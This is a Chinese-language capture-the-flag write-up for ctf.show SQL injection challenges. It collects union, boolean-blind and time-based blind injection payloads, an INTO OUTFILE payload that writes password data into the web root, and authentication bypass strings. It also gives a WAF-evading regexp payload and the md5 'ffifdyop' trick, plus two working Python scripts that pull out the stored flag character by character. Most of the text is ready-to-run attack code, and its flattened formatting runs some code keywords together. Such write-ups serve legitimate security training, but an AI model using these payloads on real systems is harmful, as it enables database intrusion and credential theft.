#联合查询 -1' union select password,2 from ctfshow_user2 where username="flag"--+ #二态联合查询盲注 ?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'xiao','da')--+
#时间盲注 ?id=1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(3),1)--+ #读写文件语句(into outfile '/var/www/html/1.txt') ?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
import requests import time url="http://82091de5-a7af-43c0-91c5-0bfe2331754c.challenge.ctf.show/api/v5.php" flag=''
for i inrange(1,100): max=128 min=32 while1: time.sleep(0.2) middle=min+((max-min)//2) ifmin==middle: flag+=chr(middle) print(flag) break payload="?id=1' and 1=if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(3),1) -- -"%(i,middle) start_time0 = time.time() res=requests.get(url=url+payload) if(time.time() - start_time0>3): max=middle else: min=middle
方法二:
使用读写文件语句
?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
之后查看相应站点的1.txt
web-176
万能密码不解释
1' or 1=1--+
web-177
“–+”,“ ”疑似被过滤
1'||1=1%23
web-178
同上,不知道过滤了什么
web-179
同上
web-180~182
id=-1'or(id=26)and'1'='1
这个倒是第一次见,全句是
select id,username,password from ctfshow_user where username !='flag' and id = 'id=-1'or(id=26)and'1'='1' limit 1;
绝妙的引号闭合
web-183
post过滤,只给了表名的注入点,不知所云,waf有:
1 2 3
function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str); }
翻译过来就是过滤了*,|,#,=以及file、or、select、and、flag、into
借鉴了regexp注入脚本,虽然前面的是错误的,但是{}中的内容是正确的,原理待探究
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import requests
url = 'http://b83cf405-f6f4-4ac3-8924-b588cb2efe81.challenge.ctf.show/select-waf.php' flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}" res = "" for i inrange(1,46): for j in flagstr: data = { 'tableName': f"(ctfshow_user)limit(1)offset(0)where(substr(pass,{i},1))regexp('{j}')" } r = requests.post(url, data=data) if r.text.find("$user_count = 1;") > 0: res += j print(res) break
md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是’ or ‘6,所以账号密码为